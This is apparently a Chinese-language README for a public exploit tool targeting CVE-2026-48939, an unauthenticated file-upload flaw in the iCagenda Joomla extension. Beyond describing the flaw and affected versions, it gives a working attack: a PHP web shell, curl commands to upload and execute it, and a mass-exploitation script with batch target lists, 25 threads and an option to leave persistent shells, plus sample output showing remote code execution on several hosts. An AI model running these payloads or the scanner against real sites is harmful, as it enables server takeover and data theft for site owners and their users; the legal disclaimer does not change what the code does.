CVE-2026-48939 是 iCagenda(Joomla 的事件日历扩展)中的一个 CVSS 10.0 严重漏洞。前端活动注册表单的文件附件功能仅在视图层强制访问控制,而未在控制器层进行验证,导致未经身份验证的用户可以上传文件,且未对扩展名进行任何校验。
上传的文件直接存放在 Web 根目录下的 /images/icagenda/frontend/attachments/ 中,并可立即作为 PHP 执行。
| iCagenda 版本 | 状态 |
|---|---|
| 3.2.1 – 3.9.14 | 存在漏洞 |
| 4.0.0 – 4.0.7 | 存在漏洞 |
| 3.9.15 / 4.0.8 及以上 | 已修复 |
registration.submit 控制器在处理文件上传时,并未强制实施组件设置中配置的“仅注册用户”访问限制。文件附件以其原始扩展名保存,未进行任何白名单、MIME 类型或内容验证。
View Layer → "Registered Only" enforced (attempts to block)
Controller → No auth check whatsoever (trivially bypassed by POST)
File Handler → No extension allowlist, no MIME check, no content scan
Destination → Web-accessible directory → PHP executes directly
POST /index.php?option=com_icagenda&task=registration.submit
jform[attachment] = shell.php → saved to /images/icagenda/frontend/attachments/
GET /images/icagenda/frontend/attachments/shell_TIMESTAMP.php?cmd=id
→ PHP executed → RCE
git clone https://github.com/shinthink/CVE-2026-48939.git
cd CVE-2026-48939
pip install -r requirements.txt
# 单个目标
python cve_2026_48939.py -t target.com
# 批量利用
python cve_2026_48939.py -f targets.txt
# 持久化 Shell(不清除)
python cve_2026_48939.py -t target.com --no-cleanup
# 保存结果
python cve_2026_48939.py -f targets.txt -o rce.txt
-t, --target 单个目标(域名或 IP)
-f, --file 目标列表,每行一个
-o, --output 将 RCE 结果保存到文件
--threads 并发工作线程数(默认:25)
--no-cleanup 在目标上保留 Shell
-v, --verbose 显示详细信息
$ python cve_2026_48939.py -t target.com -v
CVE-2026-48939 — iCagenda Joomla RCE Exploit
CVSS 10.0 | Pre-Auth | File Upload → RCE
[+] POST registration.submit (jform[attachment]): HTTP 200
[+] Shell: https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
Host : target.com
iCagenda : YES v4.0.5
Vuln : YES
RCE : YES
Shell : https://target.com/images/icagenda/frontend/attachments/ic_a3f2b9c1.php
Output : uid=1001(www-data) gid=1001(www-data) groups=1001(www-data)
Time : 3.2s
CVE-2026-48939 iCagenda RCE Exploit
Targets: 500 | Threads: 25 | Cleanup: ON
-------------------------------------------------------
[RCE] target-1.com v4.0.5 3.2s
uid=1001(www-data) gid=1001(www-data)
[RCE] target-2.com v3.9.12 4.1s
uid=33(www-data) gid=33(www-data)
-------------------------------------------------------
Total: 500 | iCagenda: 23 | RCE: 8
-------------------------------------------------------
步骤 1 — 上传 PHP 网页 Shell
cat > shell.php << 'EOF'
<?php echo "OK|".php_uname(); system($_GET["c"]); ?>
EOF
curl -sk -X POST \
-F "title=Event" \
-F "jform[attachment][email protected];type=application/x-php" \
"https://target.com/index.php?option=com_icagenda&task=registration.submit"
步骤 2 — 执行命令
curl -sk "https://target.com/images/icagenda/frontend/attachments/shell_TIMESTAMP.php?c=id"
仅供教育和授权测试使用。
本软件旨在供安全专业人员执行授权渗透测试、组织审计自身基础设施以及研究人员研究漏洞利用。
未经授权访问计算机系统是非法的,并可能违反以下法律:
- 美国:计算机欺诈与滥用法案 (18 U.S.C. 1030)
- 印度尼西亚:UU ITE Pasal 30 & 46
- 欧盟:指令 2013/40/EU
- 英国:计算机滥用法案 1990
作者对滥用不承担任何责任。
| 资源 | 链接 |
|---|---|
| IONIX 安全公告 | ionix.io/threat-center/cve-2026-48939 |
| NVD 条目 | CVE-2026-48939 |
| iCagenda 更新日志 | icagenda.com/docs |
本项目与 iCagenda 或 Joomlic 无关联。